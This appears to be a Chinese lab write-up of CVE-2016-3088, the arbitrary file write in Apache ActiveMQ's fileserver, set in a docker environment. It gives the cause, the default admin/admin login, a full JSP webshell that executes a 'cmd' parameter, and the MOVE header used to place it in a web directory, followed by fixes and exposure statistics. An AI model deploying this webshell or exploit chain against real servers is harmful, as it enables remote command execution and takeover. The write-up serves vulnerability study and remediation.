首页 > 技术文章 > CVE-2016-3088(ActiveMQ任意文件写入漏洞)

huangxiaosan 2021-01-02 14:01 原文

ActiveMQ任意文件写入漏洞

漏洞描述

  1. 漏洞编号:CVE-2016-3088
  2. 影响版本:Apache ActiveMQ 5.x~5.14.0

https://www.cvedetails.com/cve/CVE-2016-3088/

          3.漏洞产生原因:ActiveMQweb控制台分三个应用,adminapifileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;adminapi都需要登录后才能使用,fileserver无需登录。本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。

 

启动环境:docker-compose up -d

vulnIP:192.168.1.104

hackIP:192.168.1.102

 

访问` http://192.168.1.104:8161` 看到web页面,说明环境已成功运行。

 

 

漏洞发现

查看版本信息

http://host:8161/admin/index.jsp?printable=true

 

 

漏洞利用

默认的ActiveMQ账号密码均为`admin`,首先访问`http://192.168.1.104:8161/admin/test/systemProperties.jsp`,查看ActiveMQ的绝对路径:

 

 

然后上传webshell

<%@ page import="java.io.*"%>
<%
 out.print("Hello</br>");
 String strcmd=request.getParameter("cmd");
 String line=null;
 Process p=Runtime.getRuntime().exec(strcmd);
 BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
 while((line=br.readLine())!=null){
 out.print(line+"</br>");
 }
%>

 

移动web目录下的api文件夹(`/opt/activemq/webapps/api/s.jsp`)中:

Destination:file:///opt/activemq/webapps/api/5.jsp

 

到网站上进行查看有没有

 

需要登录:

 

 

 

 

 

 

问题汇总

fileserver不解析jspadminapi两个应用都需要登录才能访问

 

 

修复方案

1ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本。

2、通过移除 conf\jetty.xml 的以下配置来禁用 ActiveMQ Fileserver 功能

3、打补丁

http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txt

4、电脑管家等修复漏洞工具

 

 

注:漏洞影响

ZoomEye 上用 日期 ActiveMQ 作为关键词检索,分别探测了201511日(漏洞爆发前一年)和201711日(漏洞爆发后一年)互联网上 ActiveMQ 的总量情况,如下。

 

 

 

可以看到,ActiveMQ的数量在漏洞爆发前后有很大幅度的减少,从这我们大致可以猜测漏洞爆发后很多ActiveMQWeb服务限制了来自公网的访问。

 

 

2021-01-02 14:00:51

推荐阅读